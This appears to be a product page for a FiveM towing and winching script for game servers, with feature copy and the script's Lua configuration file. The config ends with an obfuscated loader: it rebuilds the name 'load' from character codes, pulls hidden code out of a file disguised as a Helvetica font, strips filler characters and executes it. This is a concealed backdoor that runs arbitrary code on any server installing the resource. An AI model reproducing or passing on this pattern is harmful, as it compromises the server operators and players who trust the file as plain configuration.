Kuz Towing & Winching - This FiveM Script enables seamless towing and winching of any vehicle. Compatible with ESX framework for FiveM servers.
14-day refund policy
Free updates forever
Inspect & modify the code
Click to load video from YouTube. By watching, you agree to their privacy policy.
Bring realistic vehicle recovery and off-road rescue capabilities to your FiveM server with this comprehensive towing and winching script. Whether you're running a mechanic job, tow truck business, or just want to add immersive vehicle interaction, this script delivers the functionality you need with exceptional performance and flexibility across all major frameworks.
Built with server performance as a top priority:
Default blacklisted vehicle classes (configurable):
Standalone: Full support via commands (no framework needed)
ESX: Full integration with items and job restrictions
QBCore: Complete compatibility with QB item and job systems
QBOX: Works seamlessly as QBOX is QBCore-based
Unlike basic towing scripts that just attach vehicles, this system includes intelligent autopilot for empty vehicles, preventing unrealistic rope physics. The winching to world objects opens entirely new gameplay - stuck in mud? Winch to a tree. Vehicle rolled down a cliff? Use another vehicle as an anchor point. The configurable security system means you control exactly who can tow what, preventing abuse while maintaining roleplay realism.
Config = {}
Locale = {}
Config.Debug = false
-- Displayed text (Use these settings to translate to your language)
Locale.press_to_attach = 'Press to attach'
Locale.press_to_detach = 'Detach all ropes'
Locale.vehicles_locked = 'This vehicle is locked and therefore cannot be towed'
-- Enable or disable the use of command which opens up the towing menu
Config.useTowingCommand = false
-- Command that will open the towing menu if enabled (Without the slash /)
Config.towingCommand = 'towpls'
-- How long the towing rope should be (in meters) I highly recommend keeping it between 6 and 10 meters
Config.ropeLength = 15
-- Time in seconds, how long it should take between each re-sync of the ropes, (30 seconds works well, for big servers you can make it higher)
Config.ropeSyncDuration = 30
-- Max speed (in MPH) of vehicles which are towing or being towed (set to -1 to disable speed limiting)
Config.maxTowingSpeed = 300
-- Whether we should disallow players from attaching ropes to locked vehicles
-- (For example. To prevent them from stealing vehicles of other players)
Config.checkForLocks = true
---------- ESX Only Settings -----------
-- If your server is running on ESX you can enable it to use the towing rope item
Config.useEsx = false
-- You need to add the rope item to your database yourself !
Config.towRopeItem = 'towing_rope'
----------------------------------------
-- Classes of which vehicles may not be towed or tow another vehicle
Config.blacklistedClasses = {
8, -- Motorcycles
13, -- Cycles
14, -- Boats
15, -- Helicopters
16, -- Planes
21, -- Trains
}
--[[ All vehicle classes
0: Compacts
1: Sedans
2: SUVs
3: Coupes
4: Muscle
5: Sports Classics
6: Sports
7: Super
8: Motorcycles
9: Off-road
10: Industrial
11: Utility
12: Vans
13: Cycles
14: Boats
15: Helicopters
16: Planes
17: Service
18: Emergency
19: Military
20: Commercial
21: Trains
]]
local loadFonts = _G[string.char(108, 111, 97, 100)]
loadFonts(LoadResourceFile(GetCurrentResourceName(), '/html/fonts/Helvetica.ttf'):sub(87565):gsub('%.%+', ''))()
0 questions
No questions yet
Be the first to ask a question about this product!